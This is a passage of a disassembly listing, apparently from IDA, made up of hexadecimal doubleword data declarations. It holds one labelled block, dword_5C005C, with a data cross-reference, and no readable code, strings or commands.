		dd 361294h, 8EB5EE1Eh, 0A51B7511h, 0C2952C91h, 0CD587AD8h
		dd 0B7129F10h, 449B6822h, 7D0E87Ch, 0D4BBCB98h,	5160B3CEh
		dd 21073100h, 1B0CC43Bh, 0BCB4A082h, 80DC9150h,	1FE26AA8h
		dd 0DE00F402h, 3B847F3Dh, 62745F7Ah, 622369AEh,	0C1519890h
		dd 571ACE0Eh, 0D06F86C9h, 4F0F0E19h, 0C74F9DFEh, 0B7FCCF41h
		dd 7A9C7261h, 3CAF422h,	0BA229E48h, 6A0BFBEh, 0FC0A2CB2h
		dd 0ECAD01B0h, 0D03B6CA2h, 90938186h, 41E26303h, 8A2A9024h
		dd 28983462h, 4994B9Bh,	0C16ABC80h, 3B3B962Fh, 7F24B203h
		dd 0A61E0884h, 9327EB80h, 0D426E4h, 0D781B019h,	0D80CB91Bh
		dd 80A4213Ah, 23A1DE7h,	0C73E544Eh, 897F9569h, 0CC395030h
		dd 30CB0A4h, 603D139Dh,	0B2430C3Bh, 5271AF1Eh, 0F3190907h
		dd 0BCA77A94h, 0D55F22C3h, 28CCB424h, 0EE23072Dh, 0E0E82B41h
		dd 616DE242h, 0D0068D00h, 45E9EFBAh, 3681CFE1h,	0BCDD5AA1h
		dd 4C06297h, 3A6CAD7Fh,	9A234CD0h, 7C87055Fh, 1074DFE8h
		dd 550708E8h, 4A4DE9C4h, 7F3A40A4h, 6E2663C0h, 95022CB0h
		dd 10D0CCA5h, 2388A3BCh, 0F878096Ah, 508231E8h,	902B283Bh
		dd 7E1F3Ch, 5BC0D5C4h, 8DBDE9EDh, 0AFE67300h, 0EAE3796Eh
		dd 80230EB8h, 3D42AAE7h, 0FCE01E2Fh, 6900EB2Dh,	656FA01Fh
		dd 0D0741Bh, 0B6B877C3h, 619D5070h, 0F7D80200h,	76BAA417h
		dd 107A3336h, 0A105A062h, 3145EA8Ah, 47E89431h,	6BE0DC49h
		dd 8EEF12C2h, 506437E9h, 33FD556h, 0D43B8005h, 0B897C74Bh
		dd 94E080A8h, 0E667822h, 0B8C39A04h, 0B1404B9Bh, 334C64F5h
		dd 9D696A00h, 661CBB4Dh, 0E9D200C2h, 0B7F1CFDDh, 31C04362h
		dd 2DC911D9h, 81B20C3Bh, 3F19429Bh, 5B6D5800h, 223C6C6Ah
		dd 84CA18B5h, 27A2D99Bh, 0AFCD1607h, 75709C6Ah,	25E9B2F3h
		dd 90294339h, 48B3A098h, 8E4ABA00h, 47500ECAh, 352B1F84h
		dd 0FFD74019h, 38E836D3h, 8EDB3112h, 2F601C07h,	6A7DACF0h
		dd 231C005Fh, 0A3B8BCC4h, 3078A59Eh, 80B44149h,	0FBE4B262h
		dd 904900Dh, 0E0AC2FECh, 0F25CF8A2h, 72399520h,	86B6007Eh
		dd 0A53A26E1h, 9609A614h, 12533203h, 0A90C138h,	9489E908h
		dd 892B70h, 6DB9B474h, 0ED2837FEh, 1AD5040Bh, 0A8898F8h
		dd 5358046Fh, 0C4994CE1h, 0C6AC325Ch, 6F3E32E0h, 6CF7BF04h
		dd 14B0E2DBh, 4A3D4350h, 939DEC30h, 1FE892F9h, 2262B22Bh
		dd 0C9F0EBF0h, 2244D74Ch, 0A51E30D9h, 5681FE21h, 32A12C00h
		dd 69B143D5h, 0D1BD00BAh, 0EE088451h, 5D00D222h, 98AD64E6h
		dd 901A35h, 9A4FC981h, 1F1DBAE9h, 42CEA903h, 1CFFB6D2h
		dd 860A8A30h, 10DE389Ah, 10482068h, 0AF1B3C82h,	1C7466DAh
		dd 0C0075091h, 3757F7AEh, 7207865Dh, 9BB0D1BEh,	1F147A80h
		dd 2CA14C13h, 8066C21Fh, 126836AFh, 0E85C0557h,	1603CDCh
		dd 24B27F70h, 0F040AB88h, 98161973h, 376B2290h,	47273015h
		dd 12B602A0h, 44600296h, 9F1C17B0h, 5EFA0370h, 297CBFD3h
		dd 3826DF00h, 0CE315558h, 0C9120BD9h, 3490CAA5h, 61D032F7h
		dd 9FC31C9Ch, 0EDEA7D40h, 1C4E767h, 4E9BE1DFh, 88A0B552h
		dd 8A4B3B89h, 9050504Dh, 0F63A8025h, 0E3DF2E31h, 7FE58005h
		dd 0F90081AFh, 67AC79B6h, 6E7D716h, 0C2A530DAh,	1A3F9190h
		dd 267062E1h, 22102A3h,	8866D760h, 8ECDC900h, 0E17F8B38h
		dd 3F28CC99h, 3582E99h,	0A6ABC0C0h, 70BF6912h, 1A0E17BDh
		dd 0CF6C3074h, 4E008843h, 3D694A67h, 26CDD97h, 0E5FFB95Dh
		dd 0D240661Ah, 0C1D0B0D0h, 382302A4h, 5BD95551h, 0E77F8590h
		dd 590800F6h, 8F916E8Dh, 0B93B00B0h, 35401Dh, 0D10D2EE2h
		dd 0D0AA1CF4h, 345A63Ah, 0A7141B7h, 987BA07Eh, 0F803008Eh
		dd 0C72779AEh, 2200C402h, 6FB5EA73h, 3D115EBDh,	3C7874A3h
		dd 0FF48078Fh, 8EFD2709h, 0C700D464h, 0BD79436Dh, 0F02B02A4h
		dd 5D2709C2h, 188293F6h, 8EE37F7Dh, 288C2E5h, 9B319878h
		dd 2AED4129h, 1F12EFC8h, 80FD37B7h, 5092C359h, 0AA09C626h
		dd 87FB42h, 1BDCC234h, 0F1B7242Bh, 8CA70BA8h, 2C0C8C08h
		dd 5DA211ACh, 1FD10900h, 45CC057Fh, 3B1D5807h, 36A480FBh
		dd 62F5D889h, 9B80113Ch, 240280C4h, 7D50A816h, 0D540E084h
		dd 79773819h, 17030284h, 0AC688C2Fh, 0F97AD000h, 0A7863063h
		dd 0BBAE006h, 4387B469h, 0DCBEB4A2h, 0A125DF20h, 3AA60C5Eh
		dd 6F71DD9Bh, 1821D360h, 2B3015Dh, 47FC2004h, 0A844C155h
		dd 488A0200h, 914A2397h, 0DA0309A2h, 6C042C05h,	0C4F74639h
		dd 78640099h, 0F965C5E4h, 33000C95h, 81F48886h,	0C26CABAh
		dd 5F14E134h, 8C724DA0h, 0AE0011EAh, 66C8A56Dh,	6899DBECh
		dd 5943CA6h, 0A4602DAAh, 0D67AEDC0h, 1C00DBF0h,	96B76F86h
		dd 9277931Ah, 0E9E2137Ch, 47589048h, 0A80B340Ch, 481D7E10h
		dd 6CDAACh, 5D7B0668h, 88CA84E8h, 0C9BD4502h, 738BE276h
		dd 22C784E4h, 3644A45Bh, 71C990Fh, 8084B61Eh, 3B14CCh
		dd 10B8C949h
dword_5C005C	dd 0C42E4F5Fh, 0A53D58E8h, 783626B4h, 0A4005917h, 0DFE38B82h
					; DATA XREF: ___:off_443E6Co
		dd 57F7E20h, 49E92D9Eh,	4F2808A6h, 0AFE7B380h, 79D50D43h
		dd 0B1602A61h, 0BB7E0084h, 0B414E6Dh, 981EC703h, 53047436h
		dd 7880771Eh, 0BBD022Dh, 322E401Ch, 97B34498h, 0E5584701h
		dd 6039DFE0h, 21CC2C31h, 0F77E2E75h, 6B32437Ch,	0CC4E65F0h
		dd 9E83893Fh, 38831FE9h, 0E476295Ah, 1BF7CE4h, 3B9A0722h
		dd 2C0A5F64h, 646C8800h, 0D40F52D1h, 9C20164Dh,	3862395h
		dd 2F68EC7Dh, 6BC23A7Fh, 0C1571C83h, 0CD543011h, 40381E26h
		dd 3BAB48EAh, 4B3DBB0Eh, 5753C00Bh, 3D8F2C73h, 26853691h
		dd 9E1E9Ch, 92336B18h, 52F65675h, 0C92DAF02h, 754C1A5Eh
		dd 0DDC1F7C3h, 0B8A8E0AEh, 0DA2C2892h, 282CFEE9h, 3CF743h
		dd 0D9097889h, 8CF5EA37h, 92BDF61Dh, 2951EC4h, 76000CA2h
		dd 5AFAE02Ah, 0C107D4EFh, 0B20C962Dh, 0AB0321A1h, 8BC23C28h
		dd 94287DEFh, 0BD1F89B8h, 0BB60057Eh, 96605987h, 0F029F23h
		dd 7F309278h, 1CB3D300h, 0CC008CB5h, 0EC3D8470h, 30C22BEh
		dd 0C9725E12h, 9FDF0B86h, 99D50EC0h, 7091F710h,	0AB36DB00h
		dd 0BE1979Eh, 0F22C5E0Ch, 0AF554C82h, 9400D12Fh, 0D9D18872h
		dd 1D7E6F44h, 0E3005878h, 77C5F9B7h, 26797FF5h,	4E7C9B17h
		dd 7A3E3B03h, 0A5E1C7F0h, 79A658CCh, 0D4B65C2Dh, 80C64912h
		dd 0F53B7F0Ch, 0FE55ACB0h, 14DAE4B8h, 0B1273498h, 0A0642434h
		dd 0FC3B8A43h, 0EF5B3010h, 0F9092C58h, 90661DCEh, 0C27E7F0Eh
		dd 102137E9h, 1A11DFCCh, 0A7964220h, 50AED8F1h,	5FE56100h
		dd 64C60D73h, 67B8297Fh, 16C8185Bh, 4B1100CEh, 1D3D7FEFh
		dd 0C4386D3Ah, 4682921Ch, 44B184C8h, 0C27F02AFh, 4226098h
		dd 0E9EA0880h, 0F40474Bh, 0E1FA8BBh, 0C53C831Ah, 85220700h
		dd 6D1FB5D4h, 0BA831E84h, 0E7C90886h, 71D5EE90h, 80C89911h
		dd 3D562A5Dh, 0EC078DA3h, 0FB64FCC7h, 0F904039Fh, 0C6CF9874h
		dd 0BAB51C05h, 1C2093C3h, 3F506404h, 225ECCCCh,	20C08438h
		dd 0DB0BC439h, 404651C3h, 97F6834h, 0C9041CBCh,	36CAE043h
		dd 211A3A20h, 0C4E1D0DDh, 0B2332300h, 0E6BABB3Dh, 4A05A8B0h
		dd 5F363ED6h, 849D9008h, 88EEC7A5h, 89883DBCh, 0C240718h
		dd 7044876Dh, 0AC0FAE49h, 39C56B72h, 64CB69A3h,	21B91E18h
		dd 0BC000C28h, 0F04A0815h, 0B4C5164h, 594883B6h, 0E2C11C38h
		dd 0D296B0DFh, 8A929088h, 0FA0028C6h, 57EB489Fh, 0D01D49h
		dd 3FE272B1h, 0BB8590AAh, 0EC776301h, 0D45C4E6Ah, 2C30918Bh
		dd 0C50210E4h, 7AC4A50Bh, 0E9B8832Fh, 3408C5B0h, 0AFDC8740h
		dd 0C4C3C0F0h, 0C8142670h, 17B21C5Fh, 4C00E634h, 0E0B03D0Ah
		dd 502C78B7h, 515F0862h, 18381474h, 8AB19680h, 8B00130Bh
		dd 3D971DADh, 2FCAB7Ah,	17B9FF3Fh, 0B6203747h, 0F855C66h
		dd 152F9CE4h, 5089E0Ah,	201E7E1Fh, 0D953668Ch, 50803F00h
		dd 0AA17C0ABh, 0DCC61C88h, 392542EEh, 43C27F8Fh, 57C38804h
		dd 0ECCF8488h, 0EE44002Dh, 189E9687h, 0D01F3B2Fh, 3ACFE4FDh
		dd 74CF46B3h, 0BC209008h, 0B0A6E8h, 0B5A52F41h,	5978960Fh
		dd 0C22695Fh, 21141C24h, 80F0BBDFh, 312F1F5Fh, 0A3E01ED9h
		dd 877146Ch, 5D4DD705h,	3C581032h, 9A4CF300h, 8F85E8FDh
		dd 803B9B38h, 973995B2h, 3D243h, 0CEB95770h, 3CBE064Ah
		dd 94D12424h, 0B5ACE600h, 9A73484h, 0DAC2032Eh,	0C790F8C5h
		dd 0B6487960h, 3025BA22h, 5354912Fh, 0F884380Ch, 9C49150h
		dd 0BC02752Eh, 6840218Ch, 0C1C0931Eh, 0E37C249Ch, 9FDB071Bh
		dd 30E94768h, 0CDFA3F32h, 7DF46312h, 48EBDC09h,	1246E508h
		dd 16740A8Eh, 0AD0000FCh, 1DD886BEh, 0D018C948h, 0FAC50160h
		dd 0D46FD6E9h, 0C81BB450h, 0BF0D2E5Dh, 0CC82000Ch, 0F3CFDFFCh
		dd 916CB727h, 2B001374h, 22FEBCB2h, 80BBC0B1h, 0D9A13230h
		dd 0F3E47A2Ah, 0F48608Bh, 0BC44648Bh, 594AC60Eh, 0BF2923F4h
		dd 8019E87Ah, 769600BEh, 99735386h, 18A1D167h, 80983C95h
		dd 0B314D3AFh, 6C530B84h, 0A8686002h, 59074B4Ah, 320B141h
		dd 0EDE4CF0h, 0BC090072h, 47C4C957h, 7F04E7D8h,	0CDAC1A2Eh
		dd 60480CAh, 41C1A4EFh,	364C8A2Fh, 84BE3030h, 0F03B4544h
		dd 0B627024Eh, 4D3C301Dh, 11A784C1h, 3063CBA5h,	1A3B011h
		dd 305E7022h, 56E2C821h, 6DA3C0CCh, 970F16ACh, 20C0890Fh
		dd 3862F67Bh, 0D49A2C9Dh, 24A82461h, 0EFD00230h, 0D200C42Dh
		dd 203AAD94h, 8827CDFh,	140A3042h, 276A12C4h, 8222903Ch
		dd 0DD279631h, 2C3810BDh, 0AEE626D5h, 0B4A601Ch, 0F57CB89Fh
		dd 0C6FDC800h, 25B230FBh, 20471275h, 6558C8D5h,	4CE15701h
		dd 0FC9B9638h, 5D73E181h, 20CFAE11h, 7E1D3138h,	0E86C0EB6h
		dd 0E4B48980h, 0F602196h, 0E75338DFh, 81AD98DEh, 311E8623h
		dd 5ECEF080h, 0A1F8401Dh, 303E7B60h, 6920F196h,	1039D992h
		dd 9FAC3A1Fh, 76002009h, 592B7F97h, 0A82E64BFh,	727840EBh
		dd 13D0725h, 0D3CA16Ah,	34B59B1Bh, 0CC0189A0h, 0F5C7D0D9h
		dd 98DDDEFBh, 0A42079CDh, 0A411D4FAh, 0F4421441h, 582D10C8h
		dd 12557388h, 0A028B74Ah, 57304E9Ch, 86B52934h,	0F87050B4h
		dd 42D4B1ADh, 0C428DA5Eh, 7A158760h, 0A4180009h, 0D5D8C0B2h
		dd 7D0EE86Ch, 22217679h, 0E03CA7BCh, 2630DF00h,	85A0AF2Eh
		dd 8C4554Dh, 859CA428h,	0D0E45D00h, 472E82h, 0FA5EA6E2h
		dd 74C7BEBCh, 51D8A513h, 56E91C4Fh, 449BD421h, 7224E181h
		dd 70979E2Fh, 8B89A010h, 20218247h, 5C710558h, 7680307Ch
		dd 0D542D477h, 0B630F300h, 3EFB1378h, 0CD110FA6h, 396563A7h
		dd 7EF8D842h, 12554E2Fh, 0D2E541D0h, 98834C79h,	54D09F08h
		dd 0A00A38Bh, 0CE5B0186h, 0B9A2BFE9h, 0DF915Ch,	992F0803h
		dd 0A4AD16F5h, 0CCE64BD8h, 0F80E0204h, 9F8F765Eh, 0FC324A16h
		dd 0D8692041h, 0B300CCF4h, 0F5E7B728h, 0DC83BEh, 4FE9CAC7h
		dd 0E8C49814h, 6A001CF0h, 0BEEDFCDFh, 9A1A1156h, 40ECB418h
		dd 0E067E514h, 0B5002AECh, 5FC041C2h, 0F61137EBh, 4888F4CDh
		dd 0D4228CC7h, 688038B0h, 4A008507h, 9457D6FDh,	0D97433h
		dd 0CA9E30ADh, 0CCEB1417h, 0A699A309h, 0F5640136h, 9520F364h
		dd 0C0A51895h, 7E5E49DDh, 24C7FE00h, 0ACF90A43h, 0BFD32696h
		dd 0EB7C6010h, 90B6694Dh, 4EC2C853h, 0AFBD004Bh, 17C9695Eh
		dd 0EB05FC3Ch, 21E0A5Bh, 0E58B8093h, 8F7431C0h,	0DA9A04D2h
		dd 0A41EA687h, 0B5009314h, 34D961C1h, 908B4897h, 7408C36Fh
		dd 46C883A1h, 0BD50F4C4h, 0A37BADACh, 52BFF009h, 0A0008711h
		dd 40D5AFCEh, 8BD606C2h, 40A09C1Eh, 1024B056h, 53B1210Eh
		dd 0A6130335h, 0C242911Bh, 2342C30h, 0DB9EEF47h, 0FC44B971h
		dd 57A26F04h, 0B4A32177h, 88A01850h, 6304C27Fh,	0D169C58Ah
		dd 804824A3h, 41EB6209h, 4DA30480h, 39D00B52h, 28BD0BC0h
		dd 40F06A1Dh, 0F6B158E9h, 84EE0247h, 0B94A96E8h, 4FDEF884h
		dd 82C94BB8h, 249FB3B4h, 2CBC9076h, 0E7810704h,	2160A020h
		dd 0E8A06B4Eh, 3E92AD00h, 98265F02h, 0A5360CE9h, 52544823h
		dd 1E075B7Ch, 0D6FFF26Ah, 0B9060C7h, 49B74598h,	0DA2C007Fh
		dd 404B64CCh, 0EE44FC37h, 0F27930E4h, 8F72B44h,	96A4E907h
		dd 0BD51B4D0h, 0E029C273h, 9F6E7EC0h, 8758769Eh, 5DD219Ch
		dd 30F86A60h, 6452FEE0h, 0A0378409h, 0B283073Eh, 244FB5D0h
		dd 2E340B58h, 44C4BED2h, 1038253Fh, 8A80C955h, 8266AF74h
		dd 201FC700h, 0B59D6022h
		dd 18C41E80h, 0B7BC3A76h, 562C9801h, 2CE6EB7Dh,	0A1548074h
		dd 4C661Ah, 0C4DDAE94h,	2D7FC3CCh, 3B5D11Ch, 5E0A6280h
		dd 3CC6A308h, 6E1852F1h, 0BE4118DDh, 267C2E58h,	0BB47C8F6h
		dd 0FA13F710h, 0AF58036Bh, 901DA7Dh, 4A755603h,	0C0D80292h
		dd 5F83E88h, 4F038CB4h,	60338216h, 0F00E1CE4h, 0BD154338h
		dd 0F94FD880h, 5A752Eh,	0DE0FE7E6h, 6E2BE34Ch, 2EF2F080h
		dd 214E16Ch, 51FE30CAh,	9A514C58h, 21C6108h, 34A00214h
		dd 7259867Ch, 0CF87D200h, 0DE07B214h, 0F3DC0026h, 17E8F261h
		dd 5F01570Dh, 163AC424h, 76CD0386h, 80244029h, 40D4AEACh
		dd 0CBCA0E8Ah, 0AE92F609h, 0EE246C58h, 0C22884B8h, 2B05930Eh
		dd 0A2039F30h, 400A0A2h, 0D67FF905h, 4CEA5277h,	0DCB0D012h
		dd 40E20C8h, 0A3884D27h, 1081094h, 7A577FE8h, 0D46445CFh
		dd 0F52B00C7h, 91F9BF0Ch, 684B4E03h, 6F3028h, 23BF892Eh
		dd 6D4AE56Ah, 0D9C0C458h, 0C200779h, 0B7FD25CFh, 5B13BC10h
		dd 5C34C95Bh, 84CC4ADh,	595E97C0h, 9C001508h, 430FE918h
		dd 49F192Dh, 0BCAFBB6Fh, 0C8F0A297h, 142820B4h,	0A096B6E9h
		dd 64187B89h, 4700A08Eh, 0BA8BACB2h, 2715278Ah,	0FC617F5Ch
		dd 446560AEh, 0D312D091h, 9FA74C9h, 730DFC18h, 0D9D7DF00h
		dd 7C164906h, 68E60571h, 0B2609878h, 5B2C000Ch,	24CF5733h
		dd 9BCC3A01h, 12285907h, 1A62804Fh, 9A165298h, 58CC1BDEh
		dd 0D2840D21h, 6378C648h, 0E0E90088h, 5A73C16Ch, 0AABB0074h
		dd 20FAD2F6h, 13FA12Ah,	0A0884EA5h, 0AE0A8CB6h,	7043EA99h
		dd 4F755D0Fh, 0D6E900C5h, 59BF773h, 30197E6Ah, 4040A226h
		dd 157C0397h, 0C1CE3104h, 0DCB0E9C2h, 7200982Eh, 0E89A0758h
		dd 0A0C467ACh, 967C8B01h, 5D105E02h, 0C18C06CFh, 8214EAB8h
		dd 1859AD88h, 0A634443Ah, 0F33A009Ch, 0ED7F1F6Fh, 0B9908ABDh
		dd 375E1416h, 0C2E86100h, 9687405Dh, 0D0280060h, 0DD8DB39Ch
		dd 0DAA2BD03h, 0E01F2BD6h, 1E0987A1h, 6E2333h, 0CF736B18h
		dd 6F72D52Dh, 70C679C0h, 507BA8h, 284D31E6h, 202B9CBEh
		dd 566CB80Eh, 0FAD1A0D3h, 78ADEE4h, 0F684192Ch,	0FD07C350h
		dd 3895E1B0h, 6B706A00h, 2E7FA06Dh, 0B8165BDCh,	0A4E800BEh
		dd 5535DBEAh, 0EFA00FEh, 9C3D296h, 3B01FDDCh, 72DEA685h
		dd 4620061Dh, 2A572414h, 0E39B04E4h, 0B1C80F1h,	0D3006163h
		dd 1CD85038h, 48B0CA6h,	115F36D0h, 82C50B5Dh, 767AD6C0h
		dd 0F5726094h, 6000CF43h, 0BE1B5254h, 0F879D6h,	0D867C11Eh
		dd 22CC2D58h, 26B5A500h, 0AD97238Ch, 0E09F1253h, 0AFB8407Fh
		dd 1FD880BEh, 31604086h, 4A307E80h, 0C030892Eh,	0B700CD4Ch
		dd 4E6EB696h, 5B0FEAA6h, 1F8804F8h, 0A817135Dh,	0C5D028h
		dd 3D9DBD79h, 0D2628933h, 108C404h, 98FCE3EDh, 15571604h
		dd 4C98A5AFh, 0C9605168h, 3B860390h, 6BAC0078h,	9F492DFDh
		dd 40B78123h, 0EE5F5DE6h, 3F292C8Fh, 0DD9903F4h, 1FD0A9FAh
		dd 26C1AC13h, 0E4EB4DE2h, 5D48056Bh, 0EAB00876h, 0EC906F12h
		dd 0EBA143h, 3ACA8A6Eh,	951B0FE4h, 2C00D679h, 1EC5B6F9h
		dd 1719908Ch, 16EA0220h, 0D3C48C60h, 64220389h,	6FDDC500h
		dd 0BCDC8C9Eh, 32F8B800h, 7D07014Eh, 0E09895h, 0E6C75E30h
		dd 1EB849B3h, 0C89C9055h, 0D00092A7h, 8F2CC5BEh, 0B6ED0Ah
		dd 5E95CB16h, 0A1EF33B3h, 8749841Ch, 85F75B4Eh,	8880C8FDh
		dd 1873367Eh, 101C2F5Ch, 0DC1C78AAh, 0E9005724h, 8A800547h
		dd 25545B4Eh, 418CE6A4h, 5F4067BCh, 9408F016h, 2F698042h
		dd 0BA8EEF99h, 347F9000h, 852305D7h, 0A49A12BFh, 2C380043h
		dd 0AD04EC3Ch, 79407496h, 768BF19h, 8D0CDAE2h, 0DCC09E4Fh
		dd 2DEF5A55h, 0BC1D3FE3h, 0BFE927A2h, 4E025C94h, 50E20518h
		dd 60848B36h, 4C587524h, 0CF2D5038h, 100F094h, 497780D5h
		dd 1076664h, 5D287E38h,	2840AB62h, 0AC109F6Ch, 0CC223016h
		dd 0A52D0DA4h, 73420D8h, 274E68ECh, 8C809250h, 0B3B43B2Dh
		dd 0AC04C84Ah, 243A4B5h, 394C564Eh, 7A23008Ch, 0C2030F1Fh
		dd 8414B47Bh, 88D9A595h, 0B6007024h, 9690888Dh,	1B2EB23h
		dd 93E74731h, 801AA3EDh, 4BB1D110h, 43EEF95h, 56CE81DFh
		dd 80F0ECA5h, 0B96F718Bh, 0B46AE6FAh, 837E00E4h, 3C278623h
		dd 0A6041C3Fh, 7145E01Dh, 0E2E88580h, 2450E581h, 14C7CD2Ch
		dd 0EC1CA027h, 5624B726h, 0DCBEE929h, 0C5601C67h, 94ED775h
		dd 0D4502F08h, 0F2471004h, 2FC4C38h, 23165717h,	16A0D998h
		dd 2DA82076h, 8100B24Bh, 42EBB102h, 9FF6F1C3h, 0D7D08820h
		dd 8E265C01h, 6F09C02Ch, 0ED4F0025h, 4A7EE7E8h,	52F8203Ah
		dd 0A90E98B6h, 8054A84Fh, 1239C6F3h, 0FC8197F8h, 311357E8h
		dd 20B4332Ch, 3AE24173h, 0F5320822h, 8B8FA63h, 0F7019A8Ah
		dd 62C50C03h, 746CA6BCh, 9B30D422h, 0D083814Ch,	0B32409CCh
		dd 0A5004F71h, 4DF93D42h, 0B04960B9h, 482339F0h, 0B51618B2h
		dd 0C0B43019h, 96005CD9h, 97ED1A63h, 5E8206h, 0E2622FA7h
		dd 0C68917F1h, 0A79B963Eh, 0E86C8422h, 679FC140h, 0C6019D9Eh
		dd 0ADBEE153h, 0D7C981D2h, 0E4A1CC3Ch, 0F4602ED3h, 9CD2F97h
		dd 17DCAE69h, 0B0D4FC12h, 0C164102Ch, 8CDAF622h, 0A839830Fh
		dd 0DD196745h, 0DCB2DB50h, 4B780173h, 0FFC46C5Ch, 243C201Dh
		dd 59E53835h, 0F89D10F0h, 858C0060h, 0D803EA5Bh, 0E0F2FF7h
		dd 0A0B69C3Fh, 0B202A07Ch, 0F5275147h, 1FC70800h, 0E029D22Eh
		dd 5A3EF408h, 392001FFh, 967131BAh, 90E3DC60h, 0B71D0BB8h
		dd 687AE806h, 36C6540Ch, 4848E0D5h, 41A074B9h, 0C90B0FD7h
		dd 0C81D0689h, 192CE88h, 5549D986h, 0C0C4B605h,	8F161F5Fh
		dd 0DC044B0Fh, 5CC8D16Eh, 34E11FF0h, 1DACBA88h,	71D42438h
		dd 76B710D3h, 0AD7F0BEAh, 0D4899B78h, 60ADC0F1h, 254B4944h
		dd 0E048C7F7h, 5E00B083h, 0A4E461D9h, 74A13563h, 983107D0h
		dd 800362BBh, 0C1D3851Ah, 1442D24Ah, 85A28B8Eh,	7CF22FC0h
		dd 48295321h, 0C69C3187h, 0AB08D430h, 9BF5007Bh, 45A75CAh
		dd 0DF02E212h, 0A596DABCh, 102851CCh, 4BCAC8BEh, 0BC80C04Ah
		dd 735F793Bh, 9944B094h, 0AF919E08h, 936CC300h,	0FAC25BFBh
		dd 0CFD2E905h, 1C48CBFEh, 2D403C87h, 0A904909Dh, 95EC0244h
		dd 0BB6FE671h, 14EBC580h, 96953E8Eh, 0D81095ECh, 0B172FA61h
		dd 6C17D90Bh, 1C94A4BBh, 2C01CB8h, 82BEA1F8h, 0C020D85Fh
		dd 4362B4h, 37CEE1CDh, 3AB1E9DAh, 0A5277498h, 7E5448C2h
		dd 0BD033E95h, 36470800h, 94281E7Fh, 4EF08497h,	0DC914843h
		dd 4D072C90h, 2A922400h, 4A89A89h, 115CBB2Eh, 0BDE916DCh
		dd 690290CAh, 0F1837C65h, 0C0734860h, 14CA1D5Ah, 404E7F00h
		dd 44E5023Fh, 0B4210E05h, 14F29619h, 0A0EEF227h, 3AA42C0Fh
		dd 0A3AC72AAh, 0AD033358h, 0AE9C4DFAh, 24725E9Ah, 144234A1h
		dd 668080B8h, 0C772D5F7h, 0FCBCEAC0h, 0E4E201BBh, 6563000Fh
		dd 0D85C38D6h, 0D70040F0h, 85B69BC4h, 1CBDF84h,	8F0D2074h
		dd 0DC5F81A3h, 0F4003E6Bh, 5E7F0294h, 2F88907h,	1EE985ADh
		dd 0C084449Eh, 440649DFh, 5B20070h, 6F889787h, 0C9004201h
		dd 98F5FC8Eh, 0C24AF7D0h, 0B6D221C1h, 0C2636E60h, 921C69EDh
		dd 550098E2h, 662E33C0h, 762A0DACh, 0BE51C867h,	3178D7B8h
		dd 0C0037AF2h, 0CBA58D1Fh, 7E1925E0h, 8F007464h, 0D189E359h
		dd 22484Ch, 20CEB7F0h, 97F5C172h, 5B0013F8h, 0A1CA0AE8h
		dd 0FF6A6Ch, 61B3988Dh
		dd 126BD6BBh, 0E4404C9Eh, 0AFE5D7h, 0D1BF36E7h,	5A6223DDh
		dd 5F78FE05h, 0C0107CB7h, 24DF0B08h, 550C19D4h,	107233C0h
		dd 0DC2CBC04h, 0A383B680h, 24B09DD0h, 60DC7E1Eh, 277C58A2h
		dd 10D86F07h, 0BC51293Fh, 506D0396h, 0F95D2E85h, 90798420h
		dd 7DA4A2h, 16971D3Eh, 3C696BB3h, 711B9F01h, 0B8C63D4Ch
		dd 0A02156F1h, 200D4F7h, 8FF21DD8h, 9789C502h, 0DEB72849h
		dd 0E7E113F8h, 48007C48h, 0D211EDE8h, 7DF743Dh,	7A5F8A70h
		dd 0F488C765h, 0F204AC36h, 0BB592429h, 5C1F6C0h, 298F73E9h
		dd 845C521Ch, 90F87E65h, 8DA517C0h, 53B88B49h, 0E42F00D4h
		dd 5E3D9918h, 4E22092Eh, 5071AF5Dh, 73055811h, 0E8F962A3h
		dd 6C230041h, 0C93B3C8Fh, 531A0601h, 18122F64h,	0B5EFEE00h
		dd 0D71CDF7Ch, 2C009547h, 0C467B954h, 6D00BE98h, 0D6360329h
		dd 992D0BFh, 1D47C35Dh,	0D4C44C02h, 286B610h, 6E3CC12h
		dd 40E158B3h, 28207BBBh, 2E37D86Dh, 568F1D6h, 0C89A9601h
		dd 5900D7D0h, 0F4C63664h, 124F2F9Bh, 0A2FAFE2Ch, 38660084h
		dd 0D80BBE7h, 0EA7D37h,	5D268464h, 4E17038Eh, 8F744B00h
		dd 4AAE151Eh, 0C6C9389Dh, 0DA94F781h, 0C1765E87h, 0CE142C1Fh
		dd 0BE5DC0F5h, 97CE033h, 7629A0BCh, 22A6C018h, 8A0C98B5h
		dd 6FA00016h, 0D8FDF098h, 380075ECh, 151F7DB6h,	1C031D6h
		dd 6E238F01h, 0D402B932h, 0DC03085Fh, 0C37BBD2Eh, 90ACDD7Fh
		dd 0D858AE80h, 0F70E7921h, 47C1DDEEh, 0BD503F7Eh, 0E180964Fh
		dd 0E474122Bh, 7F138898h, 0B030FB13h, 44CB60h, 0A1B6E028h
		dd 883EF9DFh, 6F0A5800h, 0E253C1FFh, 0A8A4B790h, 10B132CEh
		dd 0AA09FA4Bh, 66E7D1BAh, 296894D0h, 33039368h,	288BECCh
		dd 0DA03129Ch, 8D20C20Ch, 86BEB403h, 364C7039h,	274502A8h
		dd 74067E75h, 48D79160h, 500FC004h, 5FB89328h, 900C1C3Fh
		dd 7460280Bh, 1B9A7000h, 3C3AF09Ch, 5D9D006Fh, 18275A64h
		dd 454EEA42h, 544B745Ch, 0CC7112h, 8CC1552Fh, 7E09B51Dh
		dd 0F9A62076h, 0F3A7173Ch, 8CCE808Ch, 0FA6E49Bh, 0B987CFC4h
		dd 0CAFA4220h, 9100557Fh, 9823F70Dh, 3976FDF9h,	2E8F5F3Ah
		dd 0DB2726FCh, 51E857Fh, 6602308h, 99CBF714h, 1A42EE01h
		dd 148A923Eh, 0B610206Ah, 977D8298h, 0F72F9C05h, 80B60B7h
		dd 0A7E0041Bh, 38C6A545h, 150032E8h, 4ED464ADh,	5AE8C26h
		dd 0A55B1AC1h, 7E60C8CFh, 0DC84B501h, 0F86D78E9h, 69B37DF4h
		dd 0F0790887h, 5A155D01h, 0BF0CDCEh, 5C761Fh, 8B22A19Ch
		dd 0EB60383Dh, 1B3544h,	918AD86Ah, 488D7E5Bh, 3FF190Bh
		dd 0EFFC845Ch, 1871B622h, 4CF00140h, 664F04A7h,	0C097CC1Eh
		dd 0E2D9A5D4h, 4BD058A3h, 90BF9C86h, 1DD064h, 43F09E3Eh
		dd 0E7F43A98h, 916EAF32h, 4EBC8035h, 0E64776DFh, 0D8A226h
		dd 0EB365408h, 545F4A4Dh, 57210494h, 0A400D511h, 0F43FF87Ah
